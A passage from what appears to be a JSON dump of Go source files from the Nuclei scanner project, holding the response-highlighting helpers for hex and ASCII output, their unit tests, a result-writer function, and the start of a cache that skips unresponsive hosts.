snippetToColor {\n\t\tsnippetHexCharactersMatchPattern += fmt.Sprintf(`(%02x[ \\n]+)`, char)\n\t}\n\n\thexDump.hex = highlight(hexDump.hex, snippetHexCharactersMatchPattern, func(v string) string {\n\t\treturn hexValuePattern.ReplaceAllString(v, addColor(\"$1\"))\n\t})\n\n\treturn hexDump\n}\n\nfunc highlightAsciiSection(hexDump HighlightableHexDump, snippetToColor string) HighlightableHexDump {\n\tvar snippetCharactersMatchPattern string\n\tfor _, v := range snippetToColor {\n\t\tvar value string\n\t\tif IsASCIIPrintable(v) {\n\t\t\tvalue = regexp.QuoteMeta(string(v))\n\t\t} else {\n\t\t\tvalue = \".\"\n\t\t}\n\t\tsnippetCharactersMatchPattern += fmt.Sprintf(`(%s\\n*)`, value)\n\t}\n\n\thexDump.ascii = highlight(hexDump.ascii, snippetCharactersMatchPattern, func(v string) string {\n\t\tif len(v) > 1 {\n\t\t\treturn addColor(string(v[0])) + v[1:] // do not color new line characters\n\t\t}\n\t\treturn addColor(v)\n\t})\n\n\treturn hexDump\n}\n\nfunc highlight(values []string, snippetCharactersMatchPattern string, replaceToFunc func(v string) string) []string {\n\trows := strings.Join(values, \"\\n\")\n\tcompiledPattern := regexp.MustCompile(snippetCharactersMatchPattern)\n\tfor _, submatch := range compiledPattern.FindAllStringSubmatch(rows, -1) {\n\t\tvar replaceTo string\n\t\tvar replaceFrom string\n\t\tfor _, matchedValueWithSuffix := range submatch[1:] {\n\t\t\treplaceFrom += matchedValueWithSuffix\n\t\t\treplaceTo += replaceToFunc(matchedValueWithSuffix)\n\t\t}\n\t\trows = strings.ReplaceAll(rows, replaceFrom, replaceTo)\n\t}\n\treturn strings.Split(rows, \"\\n\")\n}\n\nfunc HasBinaryContent(input string) bool {\n\treturn !IsASCII(input)\n}\n\n// IsASCII tests whether a string consists only of ASCII characters or not\nfunc IsASCII(input string) bool {\n\tfor i := 0; i < len(input); i++ {\n\t\tif input[i] > unicode.MaxASCII {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc IsASCIIPrintable(input rune) bool {\n\treturn input > 32 && input < unicode.MaxASCII\n}\n"
  },
  {
    "path": "pkg/protocols/common/helpers/responsehighlighter/response_highlighter.go",
    "content": "package responsehighlighter\n\nimport (\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/logrusorgru/aurora\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n)\n\nvar colorFunction = aurora.Green\n\nfunc Highlight(operatorResult *operators.Result, response string, noColor, hexDump bool) string {\n\tresult := response\n\tif operatorResult != nil && !noColor {\n\t\tfor _, currentMatch := range getSortedMatches(operatorResult) {\n\t\t\tif hexDump {\n\t\t\t\thighlightedHexDump, err := toHighLightedHexDump(result, currentMatch)\n\t\t\t\tif err == nil {\n\t\t\t\t\tresult = highlightedHexDump.String()\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tresult = highlightASCII(currentMatch, result)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn result\n}\n\nfunc highlightASCII(currentMatch string, result string) string {\n\tvar coloredMatchBuilder strings.Builder\n\tfor _, char := range currentMatch {\n\t\tcoloredMatchBuilder.WriteString(addColor(string(char)))\n\t}\n\n\treturn strings.ReplaceAll(result, currentMatch, coloredMatchBuilder.String())\n}\n\nfunc getSortedMatches(operatorResult *operators.Result) []string {\n\tsortedMatches := make([]string, 0, len(operatorResult.Matches))\n\tfor _, matches := range operatorResult.Matches {\n\t\tsortedMatches = append(sortedMatches, matches...)\n\t}\n\n\tsort.Slice(sortedMatches, func(i, j int) bool {\n\t\treturn len(sortedMatches[i]) > len(sortedMatches[j])\n\t})\n\treturn sortedMatches\n}\n\nfunc CreateStatusCodeSnippet(response string, statusCode int) string {\n\tif strings.HasPrefix(response, \"HTTP/\") {\n\t\tstrStatusCode := strconv.Itoa(statusCode)\n\t\treturn response[:strings.Index(response, strStatusCode)+len(strStatusCode)]\n\t}\n\treturn \"\"\n}\n\nfunc addColor(value string) string {\n\treturn colorFunction(value).String()\n}\n"
  },
  {
    "path": "pkg/protocols/common/helpers/responsehighlighter/response_highlighter_test.go",
    "content": "package responsehighlighter\n\nimport (\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nconst input = \"abcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmn\"\n\nfunc TestHexDumpHighlighting(t *testing.T) {\n\thighlightedHexDumpResponse :=\n\t\t\"00000000  61 62 63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m  \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c 6d 6e 61 62  |abc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmnab|\\n\" +\n\t\t\t\"00000010  63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m  6b 6c 6d 6e 61 62 63 \\x1b[32m64\\x1b[0m  |c\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmnabc\\x1b[32md\\x1b[0m|\\n\" +\n\t\t\t\"00000020  \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c  6d 6e 61 62 63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m  |\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmnabc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m|\\n\" +\n\t\t\t\"00000030  \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c 6d 6e  61 62 63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m  |\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmnabc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m|\\n\" +\n\t\t\t\"00000040  \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c 6d 6e 61 62  63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m  |\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmnabc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0m|\\n\" +\n\t\t\t\"00000050  6b 6c 6d 6e 61 62 63 \\x1b[32m64\\x1b[0m  \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c  |klmnabc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mkl|\\n\" +\n\t\t\t\"00000060  6d 6e 61 62 63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m  \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c 6d 6e  |mnabc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn|\\n\" +\n\t\t\t\"00000070  61 62 63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m  \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c 6d 6e        |abc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn|\\n\"\n\n\tt.Run(\"Test highlighting when the snippet is wrapped\", func(t *testing.T) {\n\t\tresult, err := toHighLightedHexDump(hex.Dump([]byte(input)), \"defghij\")\n\t\trequire.Nil(t, err)\n\t\trequire.Equal(t, highlightedHexDumpResponse, result.String())\n\t})\n\n\tt.Run(\"Test highlight when the snippet contains separator character\", func(t *testing.T) {\n\t\tvalue := \"asdfasdfasda|basdfadsdfs|\"\n\t\tresult, err := toHighLightedHexDump(hex.Dump([]byte(value)), \"a|b\")\n\n\t\texpected :=\n\t\t\t\"00000000  61 73 64 66 61 73 64 66  61 73 64 \\x1b[32m61\\x1b[0m \\x1b[32m7c\\x1b[0m \\x1b[32m62\\x1b[0m 61 73  |asdfasdfasd\\x1b[32ma\\x1b[0m\\x1b[32m|\\x1b[0m\\x1b[32mb\\x1b[0mas|\\n\" +\n\t\t\t\t\"00000010  64 66 61 64 73 64 66 73  7c                       |dfadsdfs||\\n\"\n\n\t\trequire.Nil(t, err)\n\t\trequire.Equal(t, expected, result.String())\n\t})\n}\n\nfunc TestHighlight(t *testing.T) {\n\tconst multiSnippetHighlightHexDumpResponse = \"00000000  \\x1b[32m61\\x1b[0m \\x1b[32m62\\x1b[0m 63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m  \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c 6d 6e \\x1b[32m61\\x1b[0m \\x1b[32m62\\x1b[0m  |\\x1b[32ma\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32ma\\x1b[0m\\x1b[32mb\\x1b[0m|\\n\" +\n\t\t\"00000010  63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m  6b 6c 6d 6e \\x1b[32m61\\x1b[0m \\x1b[32m62\\x1b[0m 63 \\x1b[32m64\\x1b[0m  |c\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32ma\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m|\\n\" +\n\t\t\"00000020  \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c  6d 6e \\x1b[32m61\\x1b[0m \\x1b[32m62\\x1b[0m 63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m  |\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32ma\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m|\\n\" +\n\t\t\"00000030  \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c 6d 6e  \\x1b[32m61\\x1b[0m \\x1b[32m62\\x1b[0m 63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m  |\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32ma\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m|\\n\" +\n\t\t\"00000040  \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c 6d 6e \\x1b[32m61\\x1b[0m \\x1b[32m62\\x1b[0m  63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m  |\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32ma\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0m|\\n\" +\n\t\t\"00000050  6b 6c 6d 6e \\x1b[32m61\\x1b[0m \\x1b[32m62\\x1b[0m 63 \\x1b[32m64\\x1b[0m  \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c  |klmn\\x1b[32ma\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mkl|\\n\" +\n\t\t\"00000060  6d 6e \\x1b[32m61\\x1b[0m \\x1b[32m62\\x1b[0m 63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m  \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c 6d 6e  |mn\\x1b[32ma\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn|\\n\" +\n\t\t\"00000070  \\x1b[32m61\\x1b[0m \\x1b[32m62\\x1b[0m 63 \\x1b[32m64\\x1b[0m \\x1b[32m65\\x1b[0m \\x1b[32m66\\x1b[0m \\x1b[32m67\\x1b[0m \\x1b[32m68\\x1b[0m  \\x1b[32m69\\x1b[0m \\x1b[32m6a\\x1b[0m 6b 6c 6d 6e        |\\x1b[32ma\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn|\\n\"\n\n\tmatches := map[string][]string{\n\t\t\"first\":  {\"defghij\"},\n\t\t\"second\": {\"ab\"},\n\t}\n\toperatorResult := operators.Result{Matches: matches}\n\n\tt.Run(\"Test highlighting when the snippet is wrapped\", func(t *testing.T) {\n\t\tresult := Highlight(&operatorResult, hex.Dump([]byte(input)), false, true)\n\t\trequire.Equal(t, multiSnippetHighlightHexDumpResponse, result)\n\t})\n\n\tt.Run(\"Test highlighting without hexdump\", func(t *testing.T) {\n\t\tresult := Highlight(&operatorResult, input, false, false)\n\t\texpected :=\n\t\t\t\"\\x1b[32ma\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32m\" +\n\t\t\t\t\"a\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32m\" +\n\t\t\t\t\"a\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32m\" +\n\t\t\t\t\"a\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32m\" +\n\t\t\t\t\"a\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32m\" +\n\t\t\t\t\"a\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32m\" +\n\t\t\t\t\"a\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32m\" +\n\t\t\t\t\"a\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\\x1b[32m\" +\n\t\t\t\t\"a\\x1b[0m\\x1b[32mb\\x1b[0mc\\x1b[32md\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mf\\x1b[0m\\x1b[32mg\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32mi\\x1b[0m\\x1b[32mj\\x1b[0mklmn\"\n\t\tprint(result)\n\t\trequire.Equal(t, expected, result)\n\t})\n\n\tt.Run(\"Test the response is not modified if noColor is true\", func(t *testing.T) {\n\t\tresult := Highlight(&operatorResult, input, true, false)\n\t\trequire.Equal(t, input, result)\n\t})\n\n\tt.Run(\"Test the response is not modified if noColor is true\", func(t *testing.T) {\n\t\tresult := Highlight(&operatorResult, hex.Dump([]byte(input)), true, true)\n\t\trequire.Equal(t, hex.Dump([]byte(input)), result)\n\t})\n}\n\nfunc TestMultiSubstringMatchHighlight(t *testing.T) {\n\tconst input = `\nstart ValueToMatch end\nstart ValueToMatch-1.2.3 end\nstart ValueToMatch-2.1 end \n`\n\tmatches := map[string][]string{\n\t\t\"first\":  {\"ValueToMatch\"},\n\t\t\"second\": {\"ValueToMatch-1.2.3\"},\n\t\t\"third\":  {\"ValueToMatch-2.1\"},\n\t}\n\toperatorResult := operators.Result{Matches: matches}\n\n\texpected :=\n\t\t\"\\nstart \\x1b[32mV\\x1b[0m\\x1b[32ma\\x1b[0m\\x1b[32ml\\x1b[0m\\x1b[32mu\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mT\\x1b[0m\\x1b[32mo\\x1b[0m\\x1b[32mM\\x1b[0m\\x1b[32ma\\x1b[0m\\x1b[32mt\\x1b[0m\\x1b[32mc\\x1b[0m\\x1b[32mh\\x1b[0m end\\n\" +\n\t\t\t\"start \\x1b[32mV\\x1b[0m\\x1b[32ma\\x1b[0m\\x1b[32ml\\x1b[0m\\x1b[32mu\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mT\\x1b[0m\\x1b[32mo\\x1b[0m\\x1b[32mM\\x1b[0m\\x1b[32ma\\x1b[0m\\x1b[32mt\\x1b[0m\\x1b[32mc\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32m-\\x1b[0m\\x1b[32m1\\x1b[0m\\x1b[32m.\\x1b[0m\\x1b[32m2\\x1b[0m\\x1b[32m.\\x1b[0m\\x1b[32m3\\x1b[0m end\\n\" +\n\t\t\t\"start \\x1b[32mV\\x1b[0m\\x1b[32ma\\x1b[0m\\x1b[32ml\\x1b[0m\\x1b[32mu\\x1b[0m\\x1b[32me\\x1b[0m\\x1b[32mT\\x1b[0m\\x1b[32mo\\x1b[0m\\x1b[32mM\\x1b[0m\\x1b[32ma\\x1b[0m\\x1b[32mt\\x1b[0m\\x1b[32mc\\x1b[0m\\x1b[32mh\\x1b[0m\\x1b[32m-\\x1b[0m\\x1b[32m2\\x1b[0m\\x1b[32m.\\x1b[0m\\x1b[32m1\\x1b[0m end \\n\"\n\tresult := Highlight(&operatorResult, input, false, false)\n\trequire.Equal(t, expected, result)\n}\n"
  },
  {
    "path": "pkg/protocols/common/helpers/writer/writer.go",
    "content": "package writer\n\nimport (\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting\"\n)\n\n// WriteResult is a helper for writing results to the output\nfunc WriteResult(data *output.InternalWrappedEvent, output output.Writer, progress progress.Progress, issuesClient reporting.Client) bool {\n\t// Handle the case where no result found for the template.\n\t// In this case, we just show misc information about the failed\n\t// match for the template.\n\tif !data.HasOperatorResult() {\n\t\treturn false\n\t}\n\tvar matched bool\n\tfor _, result := range data.Results {\n\t\tif issuesClient != nil {\n\t\t\tif err := issuesClient.CreateIssue(result); err != nil {\n\t\t\t\tgologger.Warning().Msgf(\"Could not create issue on tracker: %s\", err)\n\t\t\t}\n\t\t}\n\t\tif err := output.Write(result); err != nil {\n\t\t\tgologger.Warning().Msgf(\"Could not write output event: %s\\n\", err)\n\t\t}\n\t\tif !matched {\n\t\t\tmatched = true\n\t\t}\n\t\tprogress.IncrementMatched()\n\t}\n\treturn matched\n}\n"
  },
  {
    "path": "pkg/protocols/common/hosterrorscache/hosterrorscache.go",
    "content": "package hosterrorscache\n\nimport (\n\t\"errors\"\n\t\"net\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\n\t\"github.com/projectdiscovery/gcache\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types/nucleierr\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\n// CacheInterface defines the signature of the hosterrorscache so that\n// users of Nuclei as embedded lib may implement their own cache\ntype CacheInterface interface {\n\tSetVerbose(verbose bool)                                                  // log verbosely\n\tClose()                                                                   // close the cache\n\tCheck(protoType string, ctx *contextargs.Context) bool                    // return true if the host should be skipped\n\tRemove(ctx *contextargs.Context)                                          // remove a host from the cache\n\tMarkFailed(protoType string, ctx *contextargs.Context, err error)         // record a failure (and cause) for the host\n\tMarkFailedOrRemove(protoType string, ctx *contextargs.Context, err error) // record a failure (and cause) for the host or remove it\n\tIsPermanentErr(ctx *contextargs.Context, err error) bool                  // return true if the error is permanent for the host\n}\n\nvar (\n\t_ CacheInterface = (*Cache)(nil)\n)\n\n// Cache is a cache for host based errors. It allows skipping\n// certain hosts based on an error threshold.\n//\n// It uses an LRU cache internally for skipping unresponsive hosts\n// that remain so for a duration.\ntype Cache struct {\n\tMaxHostError  int\n\tverbose       bool\n\tfailedTargets gcache.Cache[string, *cacheItem]\n\tTrackError    []string\n}\n\ntype cacheItem struct {\n\tsync.Once\n\terrors         atomic.Int32\n\tisPermanentErr bool\n\tcause          error // optional cause\n\tmu             sync.Mutex\n}\n\nconst DefaultMaxHostsCount = 10000\n\n// New returns a new host max errors cache\nfunc New(maxHostError, maxHostsCount int, trackError []string) *Cache {\n\tgc := gcache.New[string, *cacheItem](maxHostsCount).ARC().Build()\n\n\treturn &Cache{\n\t\tfailedTargets: gc,\n\t\tMaxHostError:  maxHostError,\n\t\tTrackError:    trackError,\n\t}\n}\n\n// SetVerbose sets the cache to log at verbose level\nfunc (c *Cache) SetVerbose(verbose bool) {\n\tc.verbose = verbose\n}\n\n// Close closes the host errors cache\nfunc (c *Cache) Close() {\n\tif config.DefaultConfig.IsDebugArgEnabled(config.DebugArgHostErrorStats) {\n\t\titems := c.failedTargets.GetALL(false)\n\t\tfor k, val := range items {\n\t\t\tgologger.Info().Label(\"MaxHostErrorStats\").Msgf(\"Host: %s, Errors: %d\", k, val.errors.Load())\n\t\t}\n\t}\n\tc.failedTargets.Purge()\n}\n\n// NormalizeCacheValue processes the input value and returns a normalized cache\n// value.\nfunc (c *Cache) NormalizeCacheValue(value string) string {\n\tvar normalizedValue = value\n\n\tu, err := url.ParseRequestURI(value)\n\tif err != nil || u.Host == \"\" {\n\t\tif strings.Contains(value, \":\") {\n\t\t\treturn normalizedValue\n\t\t}\n\t\tu, err2 := url.ParseRequestURI(\"https://\" + value)\n\t\tif err2 != nil {\n\t\t\treturn normalizedValue\n\t\t}\n\n\t\tnormalizedValue = u.Host\n\t} else {\n\t\tport := u.Port()\n\t\tif port == \"\" {\n\t\t\tswitch u.Scheme {\n\t\t\tcase \"https\":\n\t\t\t\tnormalizedValue = net.JoinHostPort(u.Host, \"443\")\n\t\t\tcase \"http\":\n\t\t\t\tnormalizedValue = net.JoinHostPort(u.Host, \"80\")\n\t\t\t}\n\t\t} else {\n\t\t\tnormalizedValue = u.Host\n\t\t}\n\t}\n\n\treturn normalizedValue\n}\n\n// ErrUnresponsiveHost is returned when a host is unresponsive\n// var ErrUnresponsiveHost = errors.New(\"skipping as host is unresponsive\")\n\n// Check returns true if a host should be skipped as it has been\n// unresponsive for a certain number of times.\n//\n// The value can be many formats -\n//   - URL: https?:// type\n//   - Host:port type\n//   - host type\nfunc (c *Cache) Check(protoType string, ctx *contextargs.Context) bool {\n\tfinalValue := c.GetKeyFromContext(ctx, nil)\n\n\tcache, err := c.failedTargets.GetIFPresent(finalValue)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tcache.mu.Lock()\n\tdefer cache.mu.Unlock()\n\n\tif cache.isPermanentErr {\n\t\tcache.Do(func() {\n\t\t\tgologger.Info().Msgf(\"Skipped %s from target list as found unresponsive permanently: %s\", finalValue, cache.cause)\n\t\t})\n\t\treturn true\n\t}\n\n\tif cache.errors.Load() >= int32(c.MaxHostError) {\n\t\tcache.Do(func() {\n\t\t\tgologger.Info().Msgf(\"Skipped %s from target list as found unresponsive %d times\", finalValue, cache.errors.Load())\n\t\t})\n\t\treturn true\n\t}\n\n\treturn false\n}\n\n// Remove removes a host from the cache\nfunc (c *Cache) Remove(ctx *contextargs.Context) {\n\tkey := c.GetKeyFromContext(ctx, nil)\n\t_ = c.failedTargets.Remove(key) // remove even the cache is not present\n}\n\n// MarkFailed marks a host as failed previously\n//\n// Deprecated: Use MarkFailedOrRemove instead.\nfunc (c *Cache) MarkFailed(protoType string, ctx *contextargs.Context, err error) {\n\tif err == nil {\n\t\treturn\n\t}\n\n\tc.MarkFailedOrRemove(protoType, ctx, err)\n}\n\n// MarkFailedOrRemove marks a host as failed 